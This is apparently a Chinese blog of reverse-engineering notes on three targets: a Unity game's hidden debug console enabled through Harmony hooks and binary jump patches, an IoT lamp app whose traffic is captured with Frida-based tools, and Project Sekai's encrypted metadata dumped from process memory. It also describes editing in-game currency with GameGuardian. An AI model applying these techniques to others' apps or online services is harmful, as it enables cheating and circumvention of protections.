  ((void (__fastcall *)(System_Collections_ObjectModel_Collection_T__o *, _QWORD, Il2CppObject *, const MethodInfo *))this->klass->vtable._36_InsertItem.methodPtr)(
35
    this,
36
    (unsigned int)index,
37
    item,
38
    this->klass->vtable._36_InsertItem.method);
39
}

展开收起

即 NOP 掉或动调时改 RIP 来跳过 line 23 的 Throw

不出意外的没用，该炸还是炸

分析#

观察 get_IsPersistentAsset 的交叉引用，发现有大量的调用

image-20251204034549874

这很可能已经超出了 EnableDebugCosole 本身的作用。结合名字，推测 get_IsPersistentAsset 是原本管理(指定)资源是否是持久化资源，可能将他改为 true 会使得大量资源被只读限制而无法正常加载卸载，因此在游戏加载时无法正常加载游戏配置，游戏中无法正常加载卸载游戏资源。

不清楚为什么 EnableDebugCosole 的 getter 会变成这样一个风马牛不相及的 get_IsPersistentAsset，猜测可能是由于都是硬编码的 false，在编译 IL 和 il2cpp 时被莫名“链接”到一起，出现一 hook 俱 hook 的惨案。

强制调用#

既然 SplashScene.SceneManager.Awake 会被调用，那么尝试 hook 他获取 instance 并在之后手动调用 SplashScene.SceneManager.Start

1
[HarmonyPatch(typeof(SplashScene.SceneManager))]
2
public class SplashSceneSceneManagerPatch
3
{
4
    private static ManualLogSource Log => Plugin.Instance.Log;
5
    private static readonly string LOG_TAG = "[SplashSceneSceneManagerPatch]";
6
    public static SplashScene.SceneManager instanceRef = null;
7

8
    [HarmonyPatch("EnableDebugCosole", MethodType.Getter)]
9
    [HarmonyPostfix]
10
    public static void EnableDebugCosole_Postfix(ref bool __result)
11
    {
12
        __result = PluginManager.EnableDebugCosole;
13
    }
14

15
    [HarmonyPatch("CurrentConsoleMode", MethodType.Getter)]
16
    [HarmonyPostfix]
17
    public static void CurrentConsoleMode_Postfix(ref GamePlatform.Systems.ConsoleMode __result)
18
    {
19
        __result = GamePlatform.Systems.ConsoleMode.Full;
20
    }
21

22
    // SplashScene.SceneManager$$Awake
23
    [HarmonyPatch(nameof(SplashScene.SceneManager.Awake))]
24
    [HarmonyPrefix]
25
    public static void Awake_Prefix(ref SplashScene.SceneManager __instance)
26
    {
27
        instanceRef = __instance;
28
        Log.LogWarning($"{LOG_TAG} SplashScene SceneManager Awake called");
29
    }
30
}
31

32

33
public class PluginManager : MonoBehaviour
34
{
35
    private void Update()
36
    {
37
        if (Input.GetKeyDown(KeyCode.F1))
38
        {
39
            SplashSceneSceneManagerPatch.instanceRef.Init();
40
            SplashSceneSceneManagerPatch.instanceRef.Start();
41
        }
42
    }
43
}

展开收起

结果更惨，实验两次，出现了两种不同报错

image-20251204035627389

image-20251204035644043

这是什么？kk 的 qq 号！加一下（

绕过#

再次回看 SplashScene.SceneManager$$Awake，除了会在 Common.UI.EscapeUtility.EscConfigPannel$$get_CurrentLanguage 内会因为修改 get_IsPersistentAsset 而崩溃，还在后面有且只有一次直接调用了 get_IsPersistentAsset

1
  if ( GamePlatform_MonoScripts_GamePlatformManager_TypeInfo->static_fields->_GamePlatformType_k__BackingField == 1
2
    || DEYU_AssetHandleUtility_TempAssetHandle_object___get_IsPersistentAsset(0LL, v19) )
3
  {
4
LABEL_56:
5
    if ( !DEYU_Utils_UnityEngineExtensionStatic_TypeInfo->_2.cctor_finished )
6
      il2cpp_runtime_class_init();
7
    DEYU_Utils_UnityEngineExtensionStatic__Log((Il2CppObject *)this, StringLiteral_9170, 0LL);
8
    v24 = (UnityEngine_GameObject_o *)sub_18033D3C0(UnityEngine_GameObject_TypeInfo);
9
    v22 = v24;
10
    if ( !v24 )
11
      goto LABEL_52;
12
    UnityEngine_GameObject___ctor(v24, StringLiteral_9163, 0LL);
13
    v23 = Method_UnityEngine_GameObject_AddComponent_GlobalDebugConsole___;
14
    goto LABEL_21;
15
  }

展开收起

根据上一段的猜测，可能只有这里的 get_IsPersistentAsset 才是真正的 EnableDebugCosole，因此可以修改这里的返回值，由于正常情况下永远不会进入 if 即 || 两段恒为 false，因此采用一种最取巧的方法 (74) jz 改 (75) jnz

image-20251204041437878

运行，右面多了个小东西，点开

image-20251204041821200

win！

20251204 04:19 By MetaMiku

Patch-2#

SplashScene.SceneManager$$Awake+15F

1
il2cpp:000000018042AEFD
2
il2cpp:000000018042AEFD                         loc_18042AEFD:                          ; CODE XREF: SplashScene_SceneManager$$Awake+138↑j
3
il2cpp:000000018042AEFD 48 8B 05 0C 0E E1 03                    mov     rax, cs:GamePlatform_MonoScripts_GamePlatformManager_TypeInfo ; GamePlatform.MonoScripts.GamePlatformManager_TypeInfo
4
il2cpp:000000018042AF04 48 8B 88 B8 00 00 00                    mov     rcx, [rax+0B8h]
5
il2cpp:000000018042AF0B 83 79 04 01                             cmp     dword ptr [rcx+4], 1
6
il2cpp:000000018042AF0F 75 7F                                   jnz     short loc_18042AF90
7
il2cpp:000000018042AF11 33 C9                                   xor     ecx, ecx        ; this
8
il2cpp:000000018042AF13 E8 98 31 00 00                          call    DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset
9
il2cpp:000000018042AF18 84 C0                                   test    al, al
10
il2cpp:000000018042AF1A 75 74                                   jnz     short loc_18042AF90

(74) jz 改 (75) jnz

(由于逻辑短路，改 000000018042AF0F 的即可)

PrototypingManagers.DebugConsoleBase$$Start+31

1
il2cpp:00000001806E6CE5
2
il2cpp:00000001806E6CE5                         loc_1806E6CE5:                          ; CODE XREF: PrototypingManagers_DebugConsoleBase$$Start+10↑j
3
il2cpp:00000001806E6CE5 33 C9                                   xor     ecx, ecx        ; this
4
il2cpp:00000001806E6CE7 E8 C4 73 D4 FF                          call    DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset
5
il2cpp:00000001806E6CEC 48 8B CB                                mov     rcx, rbx        ; this
6
il2cpp:00000001806E6CEF 84 C0                                   test    al, al
7
il2cpp:00000001806E6CF1 74 16                                   jz     short loc_1806E6D09
8
il2cpp:00000001806E6CF3 48 8B 03                                mov     rax, [rbx]
9
il2cpp:00000001806E6CF6 48 8B 90 80 01 00 00                    mov     rdx, [rax+180h]
10
il2cpp:00000001806E6CFD 48 83 C4 20                             add     rsp, 20h
11
il2cpp:00000001806E6D01 5B                                      pop     rbx
12
il2cpp:00000001806E6D02 48 FF A0 78 01 00 00                    jmp     qword ptr [rax+178h]

(74) jz 改 (75) jnz

PrototypingManagers.MainSceneDebugConsole$$OnStart+12A

1
il2cpp:00000001806EF45D
2
il2cpp:00000001806EF45D                         loc_1806EF45D:                          ; CODE XREF: PrototypingManagers_MainSceneDebugConsole$$OnStart+10↑j
3
il2cpp:00000001806EF45D                                                                 ; DATA XREF: .rdata:0000000183F0B654↓o ...
4
il2cpp:00000001806EF45D 48 89 5C 24 30                          mov     [rsp+28h+arg_0], rbx
5
il2cpp:00000001806EF462 33 C9                                   xor     ecx, ecx        ; this
6
il2cpp:00000001806EF464 48 89 6C 24 38                          mov     [rsp+28h+arg_8], rbp
7
il2cpp:00000001806EF469 48 89 7C 24 40                          mov     [rsp+28h+arg_10], rdi
8
il2cpp:00000001806EF46E 4C 89 74 24 48                          mov     [rsp+28h+arg_18], r14
9
il2cpp:00000001806EF473 E8 38 EC D3 FF                          call    DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset
10
il2cpp:00000001806EF478 84 C0                                   test    al, al
11
il2cpp:00000001806EF47A 74 47                                   jz     short loc_1806EF4C3
12
il2cpp:00000001806EF47C 48 8B 05 7D 1E B1 03                    mov     rax, cs:GameData_Utils_SaveManagement_TypeInfo ; GameData.Utils.SaveManagement_TypeInfo
13
il2cpp:00000001806EF483 83 B8 E0 00 00 00 00                    cmp     dword ptr [rax+0E0h], 0
14
il2cpp:00000001806EF48A 75 0F                                   jnz     short loc_1806EF49B
15
il2cpp:00000001806EF48C 48 8B C8                                mov     rcx, rax
16
il2cpp:00000001806EF48F E8 2C E0 C4 FF                          call    il2cpp_runtime_class_init
17
il2cpp:00000001806EF494 48 8B 05 65 1E B1 03                    mov     rax, cs:GameData_Utils_SaveManagement_TypeInfo ; GameData.Utils.SaveManagement_TypeInfo

展开收起

(74) jz 改 (75) jnz

Common_DialogUtility_DialogPannel$$OnGUI+46

1
il2cpp:00000001807DC30D
2
il2cpp:00000001807DC30D                         loc_1807DC30D:                          ; CODE XREF: Common_DialogUtility_DialogPannel$$OnGUI+10↑j
3
il2cpp:00000001807DC30D 33 C9                                   xor     ecx, ecx        ; this
4
il2cpp:00000001807DC30F E8 9C 1D C5 FF                          call    DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset
5
il2cpp:00000001807DC314 84 C0                                   test    al, al
6
il2cpp:00000001807DC316 0F 84 2E 01 00 00                       jz      loc_1807DC44A
7
il2cpp:00000001807DC31C 48 8B 0D ED 0E A6 03                    mov     rcx, cs:PrototypingManagers_GlobalDebugConsole_TypeInfo ; PrototypingManagers.GlobalDebugConsole_TypeInfo
8
il2cpp:00000001807DC323 83 B9 E0 00 00 00 00                    cmp     dword ptr [rcx+0E0h], 0
9
il2cpp:00000001807DC32A 75 05                                   jnz     short loc_1807DC331
10
il2cpp:00000001807DC32C E8 8F 11 B6 FF                          call    il2cpp_runtime_class_init

(0F 84) jz 改 (0F 85) jnz

DLC3_MusicGameStartPannel$$OnGUI+8E

1
il2cpp:00000001804090A5
2
il2cpp:00000001804090A5                         loc_1804090A5:                          ; CODE XREF: DLC3_MusicGameStartPannel$$OnGUI+10↑j
3
il2cpp:00000001804090A5 33 C9                                   xor     ecx, ecx        ; this
4
il2cpp:00000001804090A7 E8 04 50 02 00                          call    DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset
5
il2cpp:00000001804090AC 84 C0                                   test    al, al
6
il2cpp:00000001804090AE 0F 84 DB 01 00 00                       jz      loc_18040928F
7
il2cpp:00000001804090B4 48 8B 0D 55 41 E3 03                    mov     rcx, cs:PrototypingManagers_GlobalDebugConsole_TypeInfo ; PrototypingManagers.GlobalDebugConsole_TypeInfo
8
il2cpp:00000001804090BB 83 B9 E0 00 00 00 00                    cmp     dword ptr [rcx+0E0h], 0
9
il2cpp:00000001804090C2 75 05                                   jnz     short loc_1804090C9
10
il2cpp:00000001804090C4 E8 F7 43 F3 FF                          call    il2cpp_runtime_class_init

(0F 84) jz 改 (0F 85) jnz

DayScene.UI.RogueLike.DLC5_RogueLikePurchasePanel$$OnGUI+31B

1
il2cpp:000000018045BB42
2
il2cpp:000000018045BB42                         loc_18045BB42:                          ; CODE XREF: DayScene_UI_RogueLike_DLC5_RogueLikePurchasePanel$$OnGUI+21↑j
3
il2cpp:000000018045BB42 45 33 F6                                xor     r14d, r14d
4
il2cpp:000000018045BB45 44 89 B4 24 00 01 00 00                 mov     [rsp+0E8h+arg_10], r14d
5
il2cpp:000000018045BB4D 0F 57 C0                                xorps   xmm0, xmm0
6
il2cpp:000000018045BB50 0F 11 44 24 58                          movups  xmmword ptr [rsp+0E8h+var_90], xmm0
7
il2cpp:000000018045BB55 0F 11 44 24 68                          movups  xmmword ptr [rsp+0E8h+var_90+10h], xmm0
8
il2cpp:000000018045BB5A 4C 89 B4 24 98 00 00 00                 mov     [rsp+0E8h+successAdd], r14
9
il2cpp:000000018045BB62 33 C9                                   xor     ecx, ecx        ; this
10
il2cpp:000000018045BB64 E8 47 25 FD FF                          call    DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset
11
il2cpp:000000018045BB69 84 C0                                   test    al, al
12
il2cpp:000000018045BB6B 0F 84 B5 11 00 00                       jz      loc_18045CD26
13
il2cpp:000000018045BB71 48 8B 0D 98 16 DE 03                    mov     rcx, cs:PrototypingManagers_GlobalDebugConsole_TypeInfo ; PrototypingManagers.GlobalDebugConsole_TypeInfo
14
il2cpp:000000018045BB78 44 39 B1 E0 00 00 00                    cmp     [rcx+0E0h], r14d
15
il2cpp:000000018045BB7F 75 05                                   jnz     short loc_18045BB86

展开收起

(0F 84) jz 改 (0F 85) jnz

NightScene.PartnerUtility.PartnerManager$$OnGUI+52

1
il2cpp:00000001804E7069
2
il2cpp:00000001804E7069                         loc_1804E7069:                          ; CODE XREF: NightScene_PartnerUtility_PartnerManager$$OnGUI+10↑j
3
il2cpp:00000001804E7069 33 C9                                   xor     ecx, ecx        ; this
4
il2cpp:00000001804E706B E8 40 70 F4 FF                          call    DEYU_AssetHandleUtility_TempAssetHandle_object_$$get_IsPersistentAsset
5
il2cpp:00000001804E7070 84 C0                                   test    al, al
6
il2cpp:00000001804E7072 0F 84 95 01 00 00                       jz      loc_1804E720D
7
il2cpp:00000001804E7078 48 8B 0D 91 61 D5 03                    mov     rcx, cs:PrototypingManagers_GlobalDebugConsole_TypeInfo ; PrototypingManagers.GlobalDebugConsole_TypeInfo
8
il2cpp:00000001804E707F 83 B9 E0 00 00 00 00                    cmp     dword ptr [rcx+0E0h], 0
9
il2cpp:00000001804E7086 75 05                                   jnz     short loc_1804E708D
10
il2cpp:00000001804E7088 E8 33 64 E5 FF                          call    il2cpp_runtime_class_init

(0F 84) jz 改 (0F 85) jnz

LaunchMode#

修改 Touhou Mystia Izakaya\Touhou Mystia Izakaya_Data\StreamingAssets\LaunchMode.txt LaunchMode 改为 Full 也可以启动控制台，但启动前需要登录测试人员账号，验证服务器已无效

Characters#

角色生成#

DEYU：@MetaMiku SpecialGuests无法Copy，但是如果你只是想要场景里面存在一个不能互动的小人的话，可以用 SceneDirector.Instance.SpawnCharacter

Common.SceneDirector

1
// Token: 0x06005062 RID: 20578 RVA: 0x00002053 File Offset: 0x00000253
2
[Token(Token = "0x6005062")]
3
[Address(RVA = "0x7E39F0", Offset = "0x7E23F0", VA = "0x1807E39F0")]
4
public void SpawnCharacter(SceneDirector.Identity characterType, int characterId, Vector2 startPosition, string label)
5
{
6
}

使用例：

1
Common.SceneDirector.Instance.SpawnCharacter(Common.SceneDirector.Identity.Special, 14, new Vector2(0, 0), "test");
2
Common.SceneDirector.Instance.characterCollection["test"].UpdateInputVelocity(new Vector2(1, 0));

添加碰撞体#

SpawnCharacter 在 Common.SceneDirector$$SpawnCharacter+295 处调用了 Common.CharacterUtility.CharacterControllerUnit$$Initialize

1
Common_CharacterUtility_CharacterControllerUnit__Initialize(v29, v32, v32->fields.moveSpeedMultiplier, 0, 0LL);

其中，

Common.CharacterUtility.CharacterControllerUnit

1
// Token: 0x06006023 RID: 24611 RVA: 0x00002053 File Offset: 0x00000253
2
[Token(Token = "0x6006023")]
3
[Address(RVA = "0x8C47F0", Offset = "0x8C31F0", VA = "0x1808C47F0")]
4
public void Initialize(CharacterSpriteSetCompact compactOrFullvisual, float moveSpeedMultiplier, bool shouldTurnOnCollider)
5
{
6
}

1
void Common_CharacterUtility_CharacterControllerUnit__Initialize(
2
        Common_CharacterUtility_CharacterControllerUnit_o *this,
3
        GameData_Core_Collections_CharacterUtility_CharacterSpriteSetCompact_o *compactOrFullvisual,
4
        float moveSpeedMultiplier,
5
        bool shouldTurnOnCollider,
6
        const MethodInfo *method)

不难发现正常逻辑下 shouldTurnOnCollider 被写死为 false，因此如果需要考虑添加碰撞体，可以 hook Common.CharacterUtility.CharacterControllerUnit.Initialize 改入参 shouldTurnOnCollider 以加入碰撞体，并在之后通过 Common.CharacterUtility.CharacterControllerUnit.UpdateColliderStatus 修改碰撞状态

Common.CharacterUtility.CharacterControllerUnit

1
// Token: 0x06006028 RID: 24616 RVA: 0x00002053 File Offset: 0x00000253
2
[Token(Token = "0x6006028")]
3
[Address(RVA = "0x8C6650", Offset = "0x8C5050", VA = "0x1808C6650")]
4
public void UpdateColliderStatus(bool shouldOpen)
5
{
6
}

1
void Common_CharacterUtility_CharacterControllerUnit__UpdateColliderStatus(
2
        Common_CharacterUtility_CharacterControllerUnit_o *this,
3
        bool shouldOpen,
4
        const MethodInfo *method)

屏蔽部分碰撞#

使用 Physics.IgnoreCollision 可以轻松实现

1
public static void IgnoreCollision(Collider collider1, Collider collider2, bool ignore = true);

例

1
UnityEngine.Physics2D.IgnoreCollision(
2
    Common.SceneDirector.Instance.characterCollection[NightKyoukoManager.KYOUKO_ID].cl2d,
3
    Common.SceneDirector.Instance.characterCollection["Self"].cl2d, // 小碎骨
4
    false);

Unity - Scripting API_ Physics.IgnoreCollision

添加高度处理器#

角色在经过部分场景，如上桥、上楼等地方，有一种高度效果。经测试，该高度效果实打实地作用在了 Common.CharacterUtility.CharacterControllerUnit.rb2d.position 并非只是视觉效果

可以注意到有下面几个地方注册了高度输入处理器 HeightBlendedInputProcessorComponent

DayScene.Input.DayScenePlayerInputGenerator$$UpdateCharacter+AD8

DayScene.Input.DayScenePlayerInputGenerator$$UpdateCharacter+C04

NightScene.Input.WorkScenePlayerInputGenerator$$Initialize+890

例如

1
v94 = Common_CharacterUtility_CharacterControllerUnit__AddInputProcessor_object_(
2
    Character_k__BackingField,
3
    Method_Common_CharacterUtility_CharacterControllerUnit_AddInputProcessor_HeightBlendedInputProcessorComponent___);
4
if ( !v94 )
5
    goto LABEL_58;
6
Common_CharacterUtility_HeightBlendedInputProcessorComponent__Initialize(
7
    (Common_CharacterUtility_HeightBlendedInputProcessorComponent_o *)v94,
8
    heightMap,
9
    0LL);

因此仿照此先注册高度输入处理器，再执行初始化，其中 heightMap 可以考虑从 Self (小碎骨) 的高度输入处理器中取

1
var characterUnit = Common.SceneDirector.Instance.characterCollection[KYOUKO_ID];
2
var heightProcessor = characterUnit.AddInputProcessor<Common.CharacterUtility.HeightBlendedInputProcessorComponent>();
3

4
var selfUnit = Common.SceneDirector.Instance.characterCollection["Self"];
5
var selfHeightProcessor = selfUnit.gameObject.GetComponent<Common.CharacterUtility.HeightBlendedInputProcessorComponent>();
6
heightProcessor.Initialize(selfHeightProcessor.heightMap);

也可以不通过 Self 获取 heightMap

1
var characterUnit = Common.SceneDirector.Instance.characterCollection[KyoukoManager.KYOUKO_ID];
2
var heightProcessor = characterUnit.AddInputProcessor<Common.CharacterUtility.HeightBlendedInputProcessorComponent>();
3
heightProcessor.Initialize(DayScene.SceneManager.Instance.CurrentActiveMap.height); // 白天
4
heightProcessor.Initialize(NightScene.MapManager.Instance.height); // 夜晚

Swarm Sync 逆向笔记

Sat, 01 Nov 2025 00:00:00 GMT

更新日志#

20251101：更新到动调抓包
20251102：

资源解包#

直接使用 MT 解包就能看到几乎所有资源文件，没有任何难度

代码逆向#

使用 Jadx 反编译后发现，只有少得可怜的几行代码

image-20251101150936733

经过研究，Vedal 用的应该是 React Native 开发的 app，其主要代码逻辑是被编译于 ./assets/index.android.bundle 文件的 JavaScript

以前没接触过这方面的技术栈，走一步看一步

打开该文件，版本号是 0x60 即 96，是较新的版本，原始 js 应该已经被编译和一些混淆处理了

image-20251101151332342

可以使用 bongtrop/hbctool 工具对 index.android.bundle 进行解析，但是该工具已经不支持 96 版本，找到了支持 96 版本的工具 izadgot/hbctool 可以解析出字节码，另外一个工具 P1sec/hermes-dec 可以一定程度上反编译为 js

看一下反编译后的 JavaScript

image-20251101152016592

呃呃，虽然可读性依然几乎不可读，但是至少聊胜于无吧（？

这条路估计走不通了，但是可以为后面动态调试做点准备

动调抓包#

龟龟没做 x86 适配，可恶，模拟器用不了了（除非 ARM Windows + ARM MuMu）

HttpCanary 无效，抓不到

手边的真机没太搞明白 root，使用 MitmProxy抓包只能抓到一部分的 https，Swarm Sync 恰好抓不到：

image-20251101152720885

不过至少知道了可能是国内的 IoT 平台——涂鸦智能

好在最后找到了 r0ysue 师傅超强的通杀脚本 r0ysue/r0capture，需要配置低版本 frida 的环境，如 15.2.2，然后执行

Terminal window

1
python .\r0capture.py -U "Swarm Sync" -p test.pcap

抓包示例：

image-20251101162934376

非常难懂，感觉还是会有很大难度

具体明天到货再研究研究

不过明天好像有 N1CTF 来着（？

局域网抓包#

连接电脑热点，发现熔岩灯设备

image-20251102220103793

抓包

image-20251102221452939

如图，正常情况下，有如下几种通信：

每 555 秒，LavaLamp 向局域网 255.255.255.255 广播信息
每 606060 秒，LavaLamp 向远程服务器 8.***.***.247 TLS 通信一次（推测为涂鸦智能 IOT 平台）

扫一下 LavaLamp，有且只有一个 TCP 端口开放

image-20251102224517556

搜索一下，发现一个工具 jasonacox/tinytuya

Project Sekai 逆向笔记

Tue, 01 Apr 2025 00:00:00 GMT

Project SEKAI 逆向笔记持续更新#

非常喜欢 Project Sekai 这款游戏，不过我本身是主要学习密码学的，对逆向不甚了解，仅向下面博客进行了拙劣的学习，尝试提供一些基础的实践尝试，可能会记录得过于详细。

↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

pjsk逆向唯一神贴: Project SEKAI 逆向 - 笔记归档

↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑

更新日志#

如果您已有相关经验，可以跳过试错较多且略显杂乱的 第一章 部分，直接阅读 第二章，我将从全新的视角去审计整个游戏，也希望我的分析能给您带来新的收获。我自己也觉得整篇博客杂乱无章，但是我还是很喜欢事无巨细地记录每段研究，我会在第二章尽可能优化语言和结构，还请见谅。

20250410 完成了 静态解包 第三方工具 等部分的大致整理
20250411 完成了 提取 global-metadata.dat 部分的整理
忘了
20260404 完成了 修改 API-url
20260604 修正了对 ffa3bd6214f33fe73cb72fee2262bedb 的解释
20260605 开启 第二章
20260606 新建 mod 制作 章节，记录 FusionCore 和 搭建 mod 编译环境并测试 mod
20260607 完成 代码审计 章节的 逆向工具 和 逆向分析准备 两个小节

第一章-学习与试错#

静态解包#

参见：【世界计划多彩舞台】PJSK游戏资源解包教程-补充资料：新版

动态分析#

`cn-3.4.0` 提取 `global-metadata.dat` (成功)#

参考 Project SEKAI 逆向 - 笔记归档

研究版本：Project Sekai 国服 3.4.0

游戏安装包(失败)#

拿到公测开始公布的安装包，解压，找到./assets/bin/Data/Managed/Metadata/global-metadata.dat

发现 AF 1B B1 FA，但是在第九个字节开始，真的没加密吗？我不信会这么仁慈

尝试把前八个字节删掉，并找到 ./lib/arm64-v8a/libil2cpp.so，一并丢给 Il2CppDumper

果不其然报错了，而且是运行一半之后才报错，如图

查看 hexdump 发现整个文件到处都是乱码，应该还是有加密

`/proc/[PID]/maps` 提取 `libcamera-metadata.dat` (失败)#

参照 metadata 动态提取中的方法

启动游戏，进 adb shell 用 top 命令拿 PID=31607

su 后在 /proc/[PID]/maps 查找 metadata，结果如图

使用 dd 来 dump 这三段内存

Terminal window

1
dd if=/proc/31607/mem of=/sdcard/libcamera_metadata.so.1 bs=1 skip=$(printf "%u" 0x715074d000) count=$((0x7150755000-0x715074d000))
2
dd if=/proc/31607/mem of=/sdcard/libcamera_metadata.so.2 bs=1 skip=$(printf "%u" 0x715076a000) count=$((0x715076b000-0x715076a000))
3
dd if=/proc/31607/mem of=/sdcard/libcamera_metadata.so.3 bs=1 skip=$(printf "%u" 0x715076b000) count=$((0x715076d000-0x715076b000))

第一个是 ELF，第二个第三个不知道是什么东西

内存搜索 `AF 1B B1 FA` (失败)#

分别使用 Frida 和 GameGuardian 使用众多方法在内存中搜索魔术头 AF 1B B1 FA 无果。

注意：使用 GameGuardian 有封号风险，谨慎使用

痛失小号×1

其实还可能是因为出于恶搞，用 GG 在游戏里面改了 2147483647 个水晶（当然只是前端）

当时 root 机截图坏了，临时拍了个屏

内存搜索特殊字段(成功)#

虽然被 ban 了，但是毕竟游戏的 metadata 已经被加载了，尝试继续在游戏开始界面

还是在 metadata 动态提取中，发现其他服中的 metadata 有这样的字符串

GG 搜了一下 mscorlib，有好多结果，又搜了一下 mscorlib.dll.<Module>(注意用十六进制搜，里面有的点并不是字符点)，我草，唯一结果

所在内存地址 0x7B26457032 ，顺便看一下内存上下文，确实有像 metadata 的字符串

到 /proc/[PID]/maps 找这段内存

Terminal window

1
cat /proc/4958/maps | more

Terminal window

1
7b25f88000-7b25f89000 ---p 00000000 00:00 0                              [anon:thread stack guard]
2
7b25f89000-7b25f8a000 ---p 00000000 00:00 0
3
7b25f8a000-7b2608e000 rw-p 00000000 00:00 0
4
7b2629a000-7b2629b000 ---p 00000000 00:00 0                              [anon:thread stack guard]
5
7b2629b000-7b2629c000 ---p 00000000 00:00 0
6
7b2629c000-7b263a0000 rw-p 00000000 00:00 0
7
7b263a0000-7b2761f000 rw-p 00000000 00:00 0
8
7b2761f000-7b27e08000 rw-s 00000000 00:0b 9591                           anon_inode:dmabuf
9
7b27e08000-7b2f500000 r-xp 00000000 b3:42 93921                          /data/app/com.hermes.mk-N1TZmXwSQOMJzh2TegB6vA==/lib/arm64/libil2cpp.so
10
--More--

找到

Terminal window

1
7b263a0000-7b2761f000 rw-p 00000000 00:00 0

用 dd dump 出这段内存

Terminal window

1
dd if=/proc/4958/mem of=/sdcard/dump.dat bs=1 skip=$(printf "%u" 0x7b263a0000) count=$((0x7b2761f000-0x7b263a0000))

一个很像 global-metadata.dat 的文件，在 WinMerge 中严谨对比一下

经过比对，相较于 apk 中解包出的 metadata，dump 出的 metadata 具有以下五点不同

魔数 AF 1B B1 FA 被改为 00 00 00 00，这是先前全局搜索内存无果的原因（朝夕你真毒啊）
魔数后的第一个字节 1B 被改为了 18，原因未知
D0 39 1E 00 -> FF FF FF 7F，事后猜测这似乎是一个被改到INT_MAX的 int 值
加密段被解密，事后经验证为一段异或加密
尾部多出一堆 00，大概是分配内存多余的空间

结合两个 metadata，经过多次尝试，最终需要还原的 global-metadata.dat 方法如下：

取内存 dump 出的 metadata
比对 apk 中解包出的 metadata，删除多余的 00 字节
复原 FF FF FF 7F -> D0 39 1E 00
复原 18 -> 1B
复原 00 00 00 00 -> AF 1B B1 FA
删除头 8 字节，即使 AF 1B B1 FA 位于文件开头

最后使用工具 Il2CppDumper 解析 libil2cpp.so

使用 dnSpy 反编译 ./DummyDll/Assembly-CSharp.dll

有 Beebyte 但是类名函数名没混淆

任务完成

恢复好的 global-metadata.dat 的 MD5 为 9069c4db8cd9c520c2d22be69c36d30b

静态分析 `libil2cpp.so` (失败)#

已经通过 dump 和修补拿到了完整的 global-metadata.dat，但是没有成功通过逆向 libil2cpp.so 发现解密算法，下面分享一下我的思路思路

参考文章:

使用 IDA 打开 ./lib/arm64-v8a/libil2cpp.so，直接 Shift+F12 搜 metadata

image-20250416002147624

(注：部分变量函数已更名，但我基本不会逆向，可能有误标)

image-20250416002305548

进 LoadMetadataFile

1
_BYTE *__fastcall LoadMetadataFile(char *string_global_metadata_dat)
2
{
3
  void *v2; // x8
4
  char *v3; // x9
5
  __int64 strlen_global_metadata_dat; // x0
6
  char *v5; // x8
7
  void *v6; // x9
8
  __int64 v7; // x0
9
  const char *v8; // x1
10
  __int64 v9; // x20
11
  _BYTE *metadata_mapped; // x19
12
  char *v12; // [xsp+0h] [xbp-60h] BYREF
13
  __int64 v13; // [xsp+8h] [xbp-58h]
14
  void *v14[2]; // [xsp+10h] [xbp-50h] BYREF
15
  void *p; // [xsp+20h] [xbp-40h]
16
  void *v16[2]; // [xsp+28h] [xbp-38h] BYREF
17
  void *v17; // [xsp+38h] [xbp-28h]
18
  char *error; // [xsp+40h] [xbp-20h] BYREF
19
  void *v19; // [xsp+48h] [xbp-18h]
20

21
  sub_1915B10(v14);
22
  v12 = "Metadata";
23
  v13 = 8LL;
24
  v2 = (void *)((unsigned __int64)LOBYTE(v14[0]) >> 1);
25
  if ( ((__int64)v14[0] & 1) != 0 )
26
    v3 = (char *)p;
27
  else
28
    v3 = (char *)v14 + 1;
29
  if ( ((__int64)v14[0] & 1) != 0 )
30
    v2 = v14[1];
31
  error = v3;
32
  v19 = v2;
33
  sub_189CEEC((__int64)&error, (__int64)&v12, v16);
34
  if ( ((__int64)v14[0] & 1) != 0 )
35
    operator delete(p);
36
  strlen_global_metadata_dat = strlen(string_global_metadata_dat);
37
  if ( ((__int64)v16[0] & 1) != 0 )
38
    v5 = (char *)v17;
39
  else
40
    v5 = (char *)v16 + 1;
41
  if ( ((__int64)v16[0] & 1) != 0 )
42
    v6 = v16[1];
43
  else
44
    v6 = (void *)((unsigned __int64)LOBYTE(v16[0]) >> 1);
45
  v12 = string_global_metadata_dat;
46
  v13 = strlen_global_metadata_dat;
47
  error = v5;
48
  v19 = v6;
49
  sub_189CEEC((__int64)&error, (__int64)&v12, v14);
50
  LODWORD(error) = 0;
51
  v7 = osFileOpen((__int64)v14, 3, 1u, 1u, 0, &error);
52
  if ( (_DWORD)error )
53
  {
54
    if ( ((__int64)v14[0] & 1) != 0 )
55
      v8 = (const char *)p;
56
    else
57
      v8 = (char *)v14 + 1;
58
    sub_1915180("ERROR: Could not open %s", v8);
59
  }
60
  else
61
  {
62
    v9 = v7;
63
    metadata_mapped = (_BYTE *)utilsMemoryMappedFileMap(v7);
64
    sub_1892FFC(v9, &error);
65
    if ( !(_DWORD)error )
66
      goto LABEL_22;
67
    sub_191534C(metadata_mapped);
68
  }
69
  metadata_mapped = 0LL;
70
LABEL_22:
71
  if ( ((__int64)v14[0] & 1) != 0 )
72
    operator delete(p);
73
  if ( ((__int64)v16[0] & 1) != 0 )
74
    operator delete(v17);
75
  return metadata_mapped;
76
}

展开收起

对比 Unity 的默认实现

1
void* il2cpp::vm::MetadataLoader::LoadMetadataFile(const char* fileName)
2
{
3
    std::string resourcesDirectory = utils::PathUtils::Combine(utils::Runtime::GetDataDir(), utils::StringView<char>("Metadata"));
4

5
    std::string resourceFilePath = utils::PathUtils::Combine(resourcesDirectory, utils::StringView<char>(fileName, strlen(fileName)));
6

7
    int error = 0;
8
    os::FileHandle* handle = os::File::Open(resourceFilePath, kFileModeOpen, kFileAccessRead, kFileShareRead, kFileOptionsNone, &error);
9
    if (error != 0){
10
        utils::Logging::Write("ERROR: Could not open %s", resourceFilePath.c_str());
11
        return NULL;
12
    }
13

14
    void* fileBuffer = utils::MemoryMappedFile::Map(handle);
15

16
    os::File::Close(handle, &error);
17
    if (error != 0)
18
    {
